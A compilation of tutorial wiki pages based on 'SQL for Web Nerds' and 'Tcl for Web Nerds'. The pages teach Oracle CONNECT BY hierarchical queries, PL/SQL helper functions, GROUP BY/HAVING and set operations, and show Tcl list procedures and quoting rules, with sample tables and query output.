Trees

Created by Anett Szabo, last modified by Anett Szabo 25 Jul 2007, at 04:29 PM

• show you that a row in an SQL database can be thought of as an object
• show you that a pointer from one object to another can be represented by storing an integer key in a regular database column
• demonstrate the Oracle tree extensions (CONNECT BY ... PRIOR)
• show you how to work around the limitations of CONNECT BY with PL/SQL

create table corporate_slaves (
       slave_id		      integer primary key,
       supervisor_id	      references corporate_slaves,
       name		      varchar(100)
);

insert into corporate_slaves values (1, NULL, 'Big Boss Man');
insert into corporate_slaves values (2, 1, 'VP Marketing');
insert into corporate_slaves values (3, 1, 'VP Sales');
insert into corporate_slaves values (4, 3, 'Joe Sales Guy');
insert into corporate_slaves values (5, 4, 'Bill Sales Assistant');
insert into corporate_slaves values (6, 1, 'VP Engineering');
insert into corporate_slaves values (7, 6, 'Jane Nerd');
insert into corporate_slaves values (8, 6, 'Bob Nerd');

SQL> column name format a20
SQL> select * from corporate_slaves;

  SLAVE_ID SUPERVISOR_ID NAME
---------- ------------- --------------------
	 1		 Big Boss Man
	 2	       1 VP Marketing
	 3	       1 VP Sales
	 4	       3 Joe Sales Guy
	 6	       1 VP Engineering
	 7	       6 Jane Nerd
	 8	       6 Bob Nerd
	 5	       4 Bill Sales Assistant

8 rows selected.

1. query Oracle to find the employee where supervisor_id is null, call this $big_kahuna_id
2. query Oracle to find those employees whose supervisor_id = $big_kahuna_id
3. for each subordinate, query Oracle again to find their subordinates.
4. repeat until no subordinates found, then back up one level

select name, slave_id, supervisor_id
from corporate_slaves
connect by prior slave_id = supervisor_id;

NAME		       SLAVE_ID SUPERVISOR_ID
-------------------- ---------- -------------
Big Boss Man		      1
VP Marketing		      2 	    1
VP Sales		      3 	    1
Joe Sales Guy		      4 	    3
Bill Sales Assistant	      5 	    4
VP Engineering		      6 	    1
Jane Nerd		      7 	    6
Bob Nerd		      8 	    6

VP Marketing		      2 	    1

VP Sales		      3 	    1
Joe Sales Guy		      4 	    3
Bill Sales Assistant	      5 	    4

Joe Sales Guy		      4 	    3
Bill Sales Assistant	      5 	    4

VP Engineering		      6 	    1
Jane Nerd		      7 	    6
Bob Nerd		      8 	    6

Jane Nerd		      7 	    6

Bob Nerd		      8 	    6

Bill Sales Assistant	      5 	    4

20 rows selected.

select name, slave_id, supervisor_id
from corporate_slaves
connect by prior slave_id = supervisor_id
start with slave_id in (select slave_id 
                        from corporate_slaves 
                        where supervisor_id is null);

NAME		       SLAVE_ID SUPERVISOR_ID
-------------------- ---------- -------------
Big Boss Man		      1
VP Marketing		      2 	    1
VP Sales		      3 	    1
Joe Sales Guy		      4 	    3
Bill Sales Assistant	      5 	    4
VP Engineering		      6 	    1
Jane Nerd		      7 	    6
Bob Nerd		      8 	    6

8 rows selected.

Though these folks are in the correct order, it is kind of tough to tell from the preceding report who works for whom. Oracle provides a magic pseudo-column that is meaningful only when a query includes a CONNECT BY. The pseudo-column is level:

select name, slave_id, supervisor_id, level
from corporate_slaves
connect by prior slave_id = supervisor_id
start with slave_id = 1;

NAME		       SLAVE_ID SUPERVISOR_ID	   LEVEL
-------------------- ---------- ------------- ----------
Big Boss Man		      1 		       1
VP Marketing		      2 	    1	       2
VP Sales		      3 	    1	       2
Joe Sales Guy		      4 	    3	       3
Bill Sales Assistant	      5 	    4	       4
VP Engineering		      6 	    1	       2
Jane Nerd		      7 	    6	       3
Bob Nerd		      8 	    6	       3

8 rows selected.

column padded_name format a30

select 
  lpad(' ', (level - 1) * 2) || name as padded_name, 
  slave_id, 
  supervisor_id, 
  level
from corporate_slaves
connect by prior slave_id = supervisor_id
start with slave_id = 1;

PADDED_NAME			 SLAVE_ID SUPERVISOR_ID      LEVEL
------------------------------ ---------- ------------- ----------
Big Boss Man				1			 1
  VP Marketing				2	      1 	 2
  VP Sales				3	      1 	 2
    Joe Sales Guy			4	      3 	 3
      Bill Sales Assistant		5	      4 	 4
  VP Engineering			6	      1 	 2
    Jane Nerd				7	      6 	 3
    Bob Nerd				8	      6 	 3

8 rows selected.

select 
  lpad(' ', (level - 1) * 2) || name as padded_name, 
  slave_id, 
  supervisor_id, 
  level
from corporate_slaves
where level <= 3
connect by prior slave_id = supervisor_id
start with slave_id = 1;

PADDED_NAME			 SLAVE_ID SUPERVISOR_ID      LEVEL
------------------------------ ---------- ------------- ----------
Big Boss Man				1			 1
  VP Marketing				2	      1 	 2
  VP Sales				3	      1 	 2
    Joe Sales Guy			4	      3 	 3
  VP Engineering			6	      1 	 2
    Jane Nerd				7	      6 	 3
    Bob Nerd				8	      6 	 3

7 rows selected.

select 
  lpad(' ', (level - 1) * 2) || name as padded_name, 
  slave_id, 
  supervisor_id, 
  level
from corporate_slaves
connect by prior slave_id = supervisor_id
start with slave_id = 1
order by level, name;

PADDED_NAME			 SLAVE_ID SUPERVISOR_ID      LEVEL
------------------------------ ---------- ------------- ----------
Big Boss Man				1			 1
  VP Engineering			6	      1 	 2
  VP Marketing				2	      1 	 2
  VP Sales				3	      1 	 2
    Bob Nerd				8	      6 	 3
    Jane Nerd				7	      6 	 3
    Joe Sales Guy			4	      3 	 3
      Bill Sales Assistant		5	      4 	 4

select 
  lpad(' ', (level - 1) * 2) || name as padded_name, 
  slave_id, 
  supervisor_id, 
  level
from corporate_slaves
connect by prior slave_id = supervisor_id
start with slave_id = 1
order by name;

PADDED_NAME			 SLAVE_ID SUPERVISOR_ID      LEVEL
------------------------------ ---------- ------------- ----------
Big Boss Man				1			 1
      Bill Sales Assistant		5	      4 	 4
    Bob Nerd				8	      6 	 3
    Jane Nerd				7	      6 	 3
    Joe Sales Guy			4	      3 	 3
  VP Engineering			6	      1 	 2
  VP Marketing				2	      1 	 2
  VP Sales				3	      1 	 2

JOIN doesn't work with CONNECT BY

select 
  lpad(' ', (level - 1) * 2) || cs1.name as padded_name, 
  cs2.name as supervisor_name 
from corporate_slaves cs1, corporate_slaves cs2
where cs1.supervisor_id = cs2.slave_id(+)
connect by prior cs1.slave_id = cs1.supervisor_id
start with cs1.slave_id = 1;

ERROR at line 4:
ORA-01437: cannot have join with CONNECT BY

create or replace view connected_slaves 
as
select 
  lpad(' ', (level - 1) * 2) || name as padded_name, 
  slave_id, 
  supervisor_id, 
  level as the_level
from corporate_slaves
connect by prior slave_id = supervisor_id
start with slave_id = 1;

select * from connected_slaves;

PADDED_NAME			 SLAVE_ID SUPERVISOR_ID  THE_LEVEL
------------------------------ ---------- ------------- ----------
Big Boss Man				1			 1
  VP Marketing				2	      1 	 2
  VP Sales				3	      1 	 2
    Joe Sales Guy			4	      3 	 3
      Bill Sales Assistant		5	      4 	 4
  VP Engineering			6	      1 	 2
    Jane Nerd				7	      6 	 3
    Bob Nerd				8	      6 	 3

8 rows selected.

select padded_name, corporate_slaves.name as supervisor_name
from connected_slaves, corporate_slaves
where connected_slaves.supervisor_id = corporate_slaves.slave_id(+);

PADDED_NAME		       SUPERVISOR_NAME
------------------------------ --------------------
Big Boss Man
  VP Marketing		       Big Boss Man
  VP Sales		       Big Boss Man
    Joe Sales Guy	       VP Sales
      Bill Sales Assistant     Joe Sales Guy
  VP Engineering	       Big Boss Man
    Jane Nerd		       VP Engineering
    Bob Nerd		       VP Engineering

8 rows selected.

Select-list subqueries do work with CONNECT BY

select 
  lpad(' ', (level - 1) * 2) || name as padded_name, 
  (select name 
   from corporate_slaves cs2
   where cs2.slave_id = cs1.supervisor_id) as supervisor_name
from corporate_slaves cs1
connect by prior slave_id = supervisor_id
start with slave_id = 1;

PADDED_NAME		       SUPERVISOR_NAME
------------------------------ --------------------
Big Boss Man
  VP Marketing		       Big Boss Man
  VP Sales		       Big Boss Man
    Joe Sales Guy	       VP Sales
      Bill Sales Assistant     Joe Sales Guy
  VP Engineering	       Big Boss Man
    Jane Nerd		       VP Engineering
    Bob Nerd		       VP Engineering

8 rows selected.

Does this person work for me?

select count(*) 
from corporate_slaves
where slave_id = 7
and level > 1
start with slave_id = 2
connect by prior slave_id = supervisor_id;

  COUNT(*)
----------
	 0

select count(*) 
from corporate_slaves
where slave_id = 7
and level > 1
start with slave_id = 1
connect by prior slave_id = supervisor_id;

  COUNT(*)
----------
	 1

create or replace function intranet_supervises_p
  (query_supervisor IN integer, query_user_id IN integer)
return varchar
is
  n_rows_found integer;
BEGIN
  select count(*) into n_rows_found
   from intranet_users
   where user_id = query_user_id
   and level > 1
   start with user_id = query_supervisor
   connect by supervisor = PRIOR user_id;
  if n_rows_found > 0 then 
	return 't';
  else 
	return 'f';  
  end if;
END intranet_supervises_p;

Family trees

create table family_relatives (
	relative_id	integer primary key,
	spouse		references family_relatives,
	mother		references family_relatives,
	father		references family_relatives,
	-- in case they don't know the exact birthdate
	birthyear	integer,
	birthday	date,
	-- sadly, not everyone is still with us
	deathyear	integer,
	first_names	varchar(100) not null,
	last_name	varchar(100) not null,
	sex		char(1) check (sex in ('m','f')),
	-- note the use of multi-column check constraints
	check ( birthyear is not null or birthday is not null)
);

-- some test data 


insert into family_relatives 
(relative_id, first_names, last_name, sex, spouse, mother, father, birthyear)
values
(1, 'Nick', 'Gittes', 'm', NULL, NULL, NULL, 1902);

insert into family_relatives 
(relative_id, first_names, last_name, sex, spouse, mother, father, birthyear)
values
(2, 'Cecile', 'Kaplan', 'f', 1, NULL, NULL, 1910);

update family_relatives 
set spouse = 2 
where relative_id = 1;

insert into family_relatives 
(relative_id, first_names, last_name, sex, spouse, mother, father, birthyear)
values
(3, 'Regina', 'Gittes', 'f', NULL, 2, 1, 1934);

insert into family_relatives 
(relative_id, first_names, last_name, sex, spouse, mother, father, birthyear)
values
(4, 'Marjorie', 'Gittes', 'f', NULL, 2, 1, 1936);

insert into family_relatives 
(relative_id, first_names, last_name, sex, spouse, mother, father, birthyear)
values
(5, 'Shirley', 'Greenspun', 'f', NULL, NULL, NULL, 1901);

insert into family_relatives 
(relative_id, first_names, last_name, sex, spouse, mother, father, birthyear)
values
(6, 'Jack', 'Greenspun', 'm', 5, NULL, NULL, 1900);

update family_relatives 
set spouse = 6
where relative_id = 5;

insert into family_relatives 
(relative_id, first_names, last_name, sex, spouse, mother, father, birthyear)
values
(7, 'Nathaniel', 'Greenspun', 'm', 3, 5, 6, 1930);

update family_relatives 
set spouse = 7
where relative_id = 3;

insert into family_relatives 
(relative_id, first_names, last_name, sex, spouse, mother, father, birthyear)
values
(8, 'Suzanne', 'Greenspun', 'f', NULL, 3, 7, 1961);

insert into family_relatives 
(relative_id, first_names, last_name, sex, spouse, mother, father, birthyear)
values
(9, 'Philip', 'Greenspun', 'm', NULL, 3, 7, 1963);

insert into family_relatives 
(relative_id, first_names, last_name, sex, spouse, mother, father, birthyear)
values
(10, 'Harry', 'Greenspun', 'm', NULL, 3, 7, 1965);

column full_name format a25

-- follow patrilineal (start with my mom's father)
select lpad(' ', (level - 1) * 2) || first_names || ' ' || last_name as full_name
from family_relatives 
connect by prior relative_id = father
start with relative_id = 1;

FULL_NAME
-------------------------
Nick Gittes
  Regina Gittes
  Marjorie Gittes

-- follow matrilineal (start with my mom's mother)
select lpad(' ', (level - 1) * 2) || first_names || ' ' || last_name as full_name
from family_relatives 
connect by prior relative_id = mother
start with relative_id = 2;

FULL_NAME
-------------------------
Cecile Kaplan
  Regina Gittes
    Suzanne Greenspun
    Philip Greenspun
    Harry Greenspun
  Marjorie Gittes

specifies the relationship between parent rows and child rows of the hierarchy. condition can be any condition as described in "Conditions". However, some part of the condition must use the PRIOR operator to refer to the parent row. The part of the condition containing the PRIOR operator must have one of the following forms:

PRIOR expr comparison_operator expr 
expr comparison_operator PRIOR expr 

-- follow both
select lpad(' ', (level - 1) * 2) || first_names || ' ' || last_name as full_name
from family_relatives 
connect by prior relative_id in (mother, father)
start with relative_id = 1;

FULL_NAME
-------------------------
Nick Gittes
  Regina Gittes
    Suzanne Greenspun
    Philip Greenspun
    Harry Greenspun
  Marjorie Gittes

select lpad(' ', (level - 1) * 2) || first_names || ' ' || last_name as full_name
from family_relatives 
connect by prior relative_id in (mother, father)
start with relative_id in (select relative_id from family_relatives
                           where mother is null
                           and father is null);

FULL_NAME
-------------------------
Nick Gittes
  Regina Gittes
    Suzanne Greenspun
    Philip Greenspun
    Harry Greenspun
  Marjorie Gittes
Cecile Kaplan
  Regina Gittes
    Suzanne Greenspun
    Philip Greenspun
    Harry Greenspun
  Marjorie Gittes
Shirley Greenspun
  Nathaniel Greenspun
    Suzanne Greenspun
    Philip Greenspun
    Harry Greenspun
Jack Greenspun
  Nathaniel Greenspun
    Suzanne Greenspun
    Philip Greenspun
    Harry Greenspun

22 rows selected.

PL/SQL instead of JOIN

create or replace function family_spouse_name 
  (v_relative_id family_relatives.relative_id%TYPE)
return varchar
is
  v_spouse_id integer;
  spouse_name varchar(500);
BEGIN
  select spouse into v_spouse_id 
    from family_relatives
    where relative_id = v_relative_id;
  if v_spouse_id is null then
    return null;
  else 
    select (first_names || ' ' || last_name) into spouse_name
      from family_relatives
      where relative_id = v_spouse_id;
    return spouse_name;
  end if;
END family_spouse_name;
/
show errors

column spouse format a20

select 
  lpad(' ', (level - 1) * 2) || first_names || ' ' || last_name as full_name,
  family_spouse_name(relative_id) as spouse
from family_relatives 
connect by prior relative_id in (mother, father)
start with relative_id in (select relative_id from family_relatives
                           where mother is null
                           and father is null);

FULL_NAME		  SPOUSE
------------------------- --------------------
Nick Gittes		  Cecile Kaplan
  Regina Gittes 	  Nathaniel Greenspun
    Suzanne Greenspun
    Philip Greenspun
    Harry Greenspun
  Marjorie Gittes
Cecile Kaplan		  Nick Gittes
  Regina Gittes 	  Nathaniel Greenspun
    Suzanne Greenspun
    Philip Greenspun
    Harry Greenspun
  Marjorie Gittes
Shirley Greenspun	  Jack Greenspun
  Nathaniel Greenspun	  Regina Gittes
    Suzanne Greenspun
    Philip Greenspun
    Harry Greenspun
Jack Greenspun		  Shirley Greenspun
  Nathaniel Greenspun	  Regina Gittes
    Suzanne Greenspun
    Philip Greenspun
    Harry Greenspun

PL/SQL instead of JOIN and GROUP BY

create table family_stories (
	family_story_id		integer primary key,
	story			clob not null,
	item_date		date,
	item_year		integer,
	access_control		varchar(20)
             check (access_control in ('public', 'family', 'designated')),
	check (item_date is not null or item_year is not null)
);

-- a story might be about more than one person
create table family_story_relative_map (
	family_story_id		references family_stories,
	relative_id		references family_relatives,
	primary key (relative_id, family_story_id)
);

-- put in a test story
insert into family_stories
(family_story_id, story, item_year, access_control)
values
(1, 'After we were born, our parents stuck the Wedgwood in a cabinet 
and bought indestructible china.  Philip and his father were sitting at
the breakfast table one morning.  Suzanne came downstairs and, without
saying a word, took a cereal bowl from the cupboard, walked over to 
Philip and broke the bowl over his head.  Their father immediately
started laughing hysterically.', 1971, 'public');

insert into family_story_relative_map 
(family_story_id, relative_id)
values
(1, 8);

insert into family_story_relative_map 
(family_story_id, relative_id)
values
(1, 9);

insert into family_story_relative_map 
(family_story_id, relative_id)
values
(1, 7);

create or replace function family_n_stories (v_relative_id family_relatives.relative_id%TYPE)
return integer
is
  n_stories integer;
BEGIN
  select count(*) into n_stories 
    from family_story_relative_map 
    where relative_id = v_relative_id;
  return n_stories;
END family_n_stories;
/
show errors

select 
  lpad(' ', (level - 1) * 2) || first_names || ' ' || last_name as full_name, 
  family_n_stories(relative_id) as n_stories
from family_relatives 
connect by prior relative_id in (mother, father)
start with relative_id in (select relative_id from family_relatives
                           where mother is null
                           and father is null);

FULL_NAME		   N_STORIES
------------------------- ----------
Nick Gittes			   0
...
Shirley Greenspun		   0
  Nathaniel Greenspun		   1
    Suzanne Greenspun		   1
    Philip Greenspun		   1
    Harry Greenspun		   0
...

Working Backwards

select 
  lpad(' ', (level - 1) * 2) || first_names || ' ' || last_name as full_name,
  family_spouse_name(relative_id) as spouse
from family_relatives 
connect by relative_id in (prior mother, prior father)
start with relative_id = 9;

FULL_NAME		  SPOUSE
------------------------- --------------------
Philip Greenspun
  Regina Gittes 	  Nathaniel Greenspun
    Nick Gittes 	  Cecile Kaplan
    Cecile Kaplan	  Nick Gittes
  Nathaniel Greenspun	  Regina Gittes
    Shirley Greenspun	  Jack Greenspun
    Jack Greenspun	  Shirley Greenspun

select 
  lpad(' ', (level - 1) * 2) || first_names || ' ' || last_name as full_name,
  family_spouse_name(relative_id) as spouse
from family_relatives 
connect by relative_id in (prior mother, prior father)
start with relative_id not in (select mother from family_relatives 
                               union 
                               select father from family_relatives);

no rows selected

select mother from family_relatives 
union 
select father from family_relatives

    MOTHER
----------
	 1
	 2
	 3
	 5
	 6
	 7


7 rows selected.

SQL> select * from dual where 1 in (1,2,3,NULL);

D
-
X

SQL> select * from dual where 1 not in (2,3,NULL);

no rows selected

select 
  lpad(' ', (level - 1) * 2) || first_names || ' ' || last_name as full_name,
  family_spouse_name(relative_id) as spouse
from family_relatives 
connect by relative_id in (prior mother, prior father)
start with relative_id not in (select mother 
                               from family_relatives 
                               where mother is not null
                               union 
                               select father
                               from family_relatives 
                               where father is not null);

FULL_NAME		  SPOUSE
------------------------- --------------------
Marjorie Gittes
  Nick Gittes		  Cecile Kaplan
  Cecile Kaplan 	  Nick Gittes
Suzanne Greenspun
  Regina Gittes 	  Nathaniel Greenspun
    Nick Gittes 	  Cecile Kaplan
    Cecile Kaplan	  Nick Gittes
  Nathaniel Greenspun	  Regina Gittes
    Shirley Greenspun	  Jack Greenspun
    Jack Greenspun	  Shirley Greenspun
Philip Greenspun
  Regina Gittes 	  Nathaniel Greenspun
    Nick Gittes 	  Cecile Kaplan
    Cecile Kaplan	  Nick Gittes
  Nathaniel Greenspun	  Regina Gittes
    Shirley Greenspun	  Jack Greenspun
    Jack Greenspun	  Shirley Greenspun
Harry Greenspun
  Regina Gittes 	  Nathaniel Greenspun
    Nick Gittes 	  Cecile Kaplan
    Cecile Kaplan	  Nick Gittes
  Nathaniel Greenspun	  Regina Gittes
    Shirley Greenspun	  Jack Greenspun
    Jack Greenspun	  Shirley Greenspun

24 rows selected.

Performance and Tuning

For the corporate slaves table, you'd want two concatenated indices:

create index corporate_slaves_idx1 
  on corporate_slaves (slave_id, supervisor_id);
create index corporate_slaves_idx2 
  on corporate_slaves (supervisor_id, slave_id);

Reference

• SQL Reference section on CONNECT BY
• PL/SQL User's Guide and Reference

---

based on  SQL for Web Nerds

More complex queries

Created by Anett Szabo, last modified by Anett Szabo 25 Jul 2007, at 02:28 PM

select users.user_id, users.email, max(classified_ads.posted)
from users, classified_ads
where users.user_id = classified_ads.user_id
group by users.user_id, users.email
order by upper(users.email);

   USER_ID EMAIL			       MAX(CLASSI
---------- ----------------------------------- ----------
     39406 102140.1200@compuserve.com	       1998-10-08
     39842 102144.2651@compuserve.com	       1998-12-13
     41426 50@seattle.va.gov		       1997-01-13
     37428 71730.345@compuserve.com	       1998-11-24
     35970 aaibrahim@earthlink.net	       1998-11-08
     36671 absolutsci@aol.com		       1998-10-06
     35781 alevy@agtnet.com		       1997-07-14
     40111 alexzorba@aol.com		       1998-09-25
     39060 amchiu@worldnet.att.net	       1998-12-11
     35989 andrew.c.beckner@bankamerica.com    1998-08-13
     33923 andy_roo@mit.edu		       1998-12-10

select users.user_id, users.email, count(*), max(classified_ads.posted)
from users, classified_ads
where users.user_id = classified_ads.user_id
group by users.user_id, users.email
order by upper(users.email);

   USER_ID EMAIL				 COUNT(*) MAX(CLASSI
---------- ----------------------------------- ---------- ----------
     39406 102140.1200@compuserve.com			3 1998-10-08
     39842 102144.2651@compuserve.com			3 1998-12-13
     41426 50@seattle.va.gov				1 1997-01-13
     37428 71730.345@compuserve.com			3 1998-11-24
     35970 aaibrahim@earthlink.net			1 1998-11-08
     36671 absolutsci@aol.com				2 1998-10-06
     35781 alevy@agtnet.com				1 1997-07-14
     40111 alexzorba@aol.com				1 1998-09-25
     39060 amchiu@worldnet.att.net			1 1998-12-11
     35989 andrew.c.beckner@bankamerica.com		1 1998-08-13
     33923 andy_roo@mit.edu				1 1998-12-10

select users.user_id, 
       users.email, 
       count(*) as how_many,
       max(classified_ads.posted) as how_recent
from users, classified_ads
where users.user_id = classified_ads.user_id
group by users.user_id, users.email
order by how_recent desc, how_many desc;

   USER_ID EMAIL				 HOW_MANY HOW_RECENT
---------- ----------------------------------- ---------- ----------
     39842 102144.2651@compuserve.com			3 1998-12-13
     39968 mkravit@mindspring.com			1 1998-12-13
     36758 mccallister@mindspring.com			1 1998-12-13
     38513 franjeff@alltel.net				1 1998-12-13
     34530 nverdesoto@earthlink.net			3 1998-12-13
     34765 jrl@blast.princeton.edu			1 1998-12-13
     38497 jeetsukumaran@pd.jaring.my			1 1998-12-12
     38879 john.macpherson@btinternet.com		5 1998-12-12
     37808 eck@coastalnet.com				1 1998-12-12
     37482 dougcan@arn.net				1 1998-12-12

Upon close inspection, the results are confusing. We instructed Oracle to rank first by date and second by number of postings. Yet for 1998-12-13 we don't see both users with three total postings at the top. That's because Oracle dates are precise to the second even when the hour, minute, and second details are not displayed by SQL*Plus. A better query would include the clause

order by trunc(how_recent) desc, how_many desc

Finding co-moderators: The HAVING Clause

select user_id, count(*) as how_many
from bboard
group by user_id
order by how_many desc;

   USER_ID   HOW_MANY
---------- ----------
     34474	 1922
     35164	  985
     41112	  855
     37021	  834
     34004	  823
     37397	  717
     40375	  639
...
     33963	    1
     33941	    1
     33918	    1

7348 rows selected.

select user_id, count(*) as how_many
from bboard
where posting_time + 60 > sysdate
group by user_id
order by how_many desc;

   USER_ID   HOW_MANY
---------- ----------
     34375	   80
     34004	   79
     37903	   49
     41074	   46
...

1120 rows selected.

select user_id, count(*) as how_many
from bboard
where not exists (select 1 from 
                  bboard_authorized_maintainers bam
                  where bam.user_id = bboard.user_id)
and posting_time + 60 > sysdate
group by user_id
order by how_many desc;

select user_id, count(*) as how_many
from bboard
where posting_time + 60 > sysdate
group by user_id
having not exists (select 1 from 
                  bboard_authorized_maintainers bam
                  where bam.user_id = bboard.user_id)
order by how_many desc;

select user_id, count(*) as how_many
from bboard
where posting_time + 60 > sysdate
group by user_id
having count(*) >= 30
order by how_many desc;

   USER_ID   HOW_MANY
---------- ----------
     34375	   80
     34004	   79
     37903	   49
     41074	   46
     42485	   46
     35387	   30
     42453	   30

7 rows selected.

Oracle 8's SQL parser is too feeble to allow you to use the how_many correlation variable in the HAVING clause. You therefore have to repeat the count(*) incantation.

Set Operations: UNION, INTERSECT, and MINUS

In the ArsDigita Community System ticket tracker, people reporting a bug or requesting a feature are given a menu of potential deadlines. For some projects, common project deadlines are stored in the ticket_deadlines table. These should appear in an HTML SELECT form element. We also, however, want some options like "today", "tomorrow", "next week", and "next month". The easiest way to handle these is to query the dual table to perform some date arithmetic. Each of these queries will return one row and if we UNION four of them together with the query from ticket_deadlines, we can have the basis for a very simple Web script to present the options:

select 
  'today - ' || to_char(trunc(sysdate),'Mon FMDDFM'),
  trunc(sysdate) as deadline
from dual 
UNION
select 
  'tomorrow - '|| to_char(trunc(sysdate+1),'Mon FMDDFM'), 
  trunc(sysdate+1) as deadline
from dual 
UNION
select
  'next week - '|| to_char(trunc(sysdate+7),'Mon FMDDFM'), 
  trunc(sysdate+7) as deadline
from dual 
UNION
select 
  'next month - '|| to_char(trunc(ADD_MONTHS(sysdate,1)),'Mon FMDDFM'), 
  trunc(ADD_MONTHS(sysdate,1)) as deadline 
from dual
UNION
select 
  name || ' - ' || to_char(deadline, 'Mon FMDDFM'), 
  deadline
from ticket_deadlines 
where project_id = :project_id
and deadline >= trunc(sysdate)
order by deadline

will produce something like

<form>

<select name="deadline_choice">

<option value="2000-10-28">today - Oct 28

</option><option value="2000-10-29">tomorrow - Oct 29

</option><option value="2000-11-04">next week - Nov 4

</option><option value="2000-11-28">next month - Nov 28

</option><option value="2000-12-01">V2.0 freeze - Dec 1

</option><option value="2000-12-15">V2.0 ship - Dec 15

</option></select>

</form>

The INTERSECT and MINUS operators are seldom used. Here are some contrived examples. Suppose that you collect contest entries by Web users, each in a separate table:

create table trip_to_paris_contest (
	user_id		references users,
	entry_date	date not null
);

create table camera_giveaway_contest (
	user_id		references users,
	entry_date	date not null
);

-- all three users love to go to Paris
insert into trip_to_paris_contest values (1,'2000-10-20');
insert into trip_to_paris_contest values (2,'2000-10-22');
insert into trip_to_paris_contest values (3,'2000-10-23');

-- only User #2 is a camera nerd
insert into camera_giveaway_contest values (2,'2000-05-01');

select user_id from trip_to_paris_contest
intersect
select user_id from camera_giveaway_contest;

   USER_ID
----------
	 2

select user_id from trip_to_paris_contest
minus
select user_id from camera_giveaway_contest;

   USER_ID
----------
	 1
	 3

---

based on  SQL for Web Nerds

SQL Tutorial

Created by Anett Szabo, last modified by Anett Szabo 25 Jul 2007, at 02:08 PM

SQL for Web Nerds Introduction

Created by Anett Szabo, last modified by Anett Szabo 25 Jul 2007, at 02:07 PM

The architect of any new information system must decide how much responsibility for data management the new custom software should take and how much should be left to packaged software and the operating system. This chapter explains what kind of packaged data management software is available, covering files, flat file database management systems, the RDBMS, object-relational database management systems, and object databases. This chapter also introduces the SQL language.

What Do You Need for Transaction Processing?

Data processing folks like to talk about the "ACID test" when deciding whether or not a database management system is adequate for handling transactions. An adequate system has the following properties:

create table mailing_list (
        email           varchar(100) not null primary key,
        name            varchar(100)
);

insert into mailing_list (name, email)
values ('Philip Greenspun','philg@mit.edu');

alter table mailing_list add (phone_number varchar(20)); 

insert into mailing_list (name, email)
values ('Michael O''Grady','ogrady@fastbuck.com');

EMAIL   NAME     PHONE_NUMBER
------------------------- ------------------------- ------------
philg@mit.edu   Philip Greenspun
ogrady@fastbuck.com   Michael O'Grady

2 rows selected.

drop table mailing_list;

create table mailing_list (
        email           varchar(100) not null primary key,
        name            varchar(100)
);

create table phone_numbers (
        email           varchar(100) not null references mailing_list(email),
        number_type     varchar(15) check (number_type in ('work','home','cell','beeper')),
        phone_number    varchar(20) not null
);

Solutions

Created by Anett Szabo, last modified by Anett Szabo 24 Jul 2007, at 04:14 PM

V.1 / 1

# I :: alpha -> alpha
proc I {x} { 
return $x 
} 

# K :: alpha beta -> alpha
proc K {x y} {
return $x
} 

# iota :: num -> [num]    
proc iota {n} {
  set I {}
  set i 0
    while {$i<$n} {
      lappend I "$i" 
    incr i
   }
return $I
}

# incrlist :: [num] -> [num]
proc incrlist {L} { 
  set k [list] 
  set i 0 
    while {$i<[llength $L]} {
      lappend k [ expr [lindex $L $i]+1 ] 
    incr i
 } 
return $k
} 

# incrlist :: [num] -> [num]
proc inclist {L} { 
  set k {} 
  foreach i ${L} {
    lappend k [expr $i+1]
  } 
return $k
}

# strlenlist :: [str] -> [num]
proc strlenlist {L} { 
  set k {} 
  foreach i ${L} {
    lappend k [string length $i]
  } 
return $k
} 

proc sumlist {mylist} {
  set result 0
  foreach element $mylist {
      set result [expr $result + $element]
   }
return $result
}

proc multlist {mylist} {
  set result 1
  foreach element $mylist {
     set result [expr $result * $element]
   }
return $result
}

proc catlist {L} {
return [join $L ""]
}

Tcl for Web Nerds Introduction

Created by Hal Abelson, Philip Greenspun, and Lydia Sandon, last modified by Anett Szabo 24 Jul 2007, at 04:05 PM

Evaluation and quoting

procedure_name arg1 arg2 arg3

> tclsh
% set foo bar
bar
% set foo 
bar
% 

The first command line illustrates that the set command returns the new value that was set (in this case, the character string "bar"), which is the result printed by the interpreter. The second command line uses the set command again, but this time with only one argument. This actually gets the value of the variable foo. Notice that you don't have to declare variables before using them.

By analogy with Scheme, you'd think that we could just type the command line $foo and have Tcl return and print the value. This won't work in Tcl, however, which assumes that every command line invokes a procedure. This is why we need to explicity use set or puts.

Does this mean that you never need to use string quotes when you've got string literals in your program? No. In Tcl, the double quote is a grouping mechanism. If your string literal contains any spaces, which would otherwise be interpreted as argument separators, you need to group the tokens with double quotes:

% set the_truth Lisp is the world's best computer language
wrong # args: should be "set varName ?newValue?"
% set the_truth "Lisp is the world's best computer language"
Lisp is the world's best computer language

In this example, we invoked the Unix command "tclsh" to start the Tcl interpreter from the Unix shell. Later on we'll see how to use Tcl in other ways:

• writing a program file and evaluating it
• embedding Tcl commands in Web pages to create dynamic pages
• extending the behavior of the Web server with Tcl programs

To indicate a literal string that contains a space, you can wrap the string in double quotes. Quoting like this does not prevent the interpreter from evaluating procedure calls and variables inside the strings:

% set checking_account_balance [expr {25 + 34 + 86}]
145
% puts "your bank balance is $checking_account_balance dollars"
your bank balance is 145 dollars
% puts "ten times your balance is [expr {10 * $checking_account_balance}] dollars"
ten times your balance is 1450 dollars

% puts "your bank balance is \$$checking_account_balance"
your bank balance is $145
% puts "your bank balance is \$$checking_account_balance \[pretty sad\]"
your bank balance is $145 [pretty sad]

If we don't need Tcl to evaluate variables and procedure calls inside a string, we can use braces for grouping rather than double quotes:

% puts {your bank balance is $checking_account_balance dollars}
your bank balance is $checking_account_balance dollars
% puts {ten times your balance is [expr {10 * $checking_account_balance}] dollars}
ten times your balance is [expr {10 * $checking_account_balance}] dollars

Keep it all on one line!

% set a_very_long_variable_name "a very long value of some sort..."

% set a_very_long_variable_name "a very long value of some sort... 
with a few embedded newlines
makes for rather bad poetry"
a very long value of some sort... 
with a few embedded newlines
makes for rather bad poetry
% 

% set a_very_long_variable_name {a very long value of some sort... 
with a few embedded newlines
makes for rather bad poetry}
a very long value of some sort... 
with a few embedded newlines
makes for rather bad poetry
% 

set a_very_long_variable_name 
    "a very long value of some sort... 
     with a few embedded newlines
     makes for rather bad poetry"

can't read "a_very_long_variable_name": no such variable
invalid command name "a very long value of some sort... 
     with a few embedded newlines
     makes for rather bad poetry"

% set a_very_long_variable_name \
      "a very long value of some sort... 
       with a few embedded newlines
       makes for rather bad poetry"
a very long value of some sort... 
       with a few embedded newlines
       makes for rather bad poetry
% 

% set a_very_long_variable_name "a very long value of some sort... 
with a few embedded newlines
makes for rather bad poetry"

Case Sensitivity, Poisonous Unix Heritage, and Naming Conventions

% set MyAge 36
36
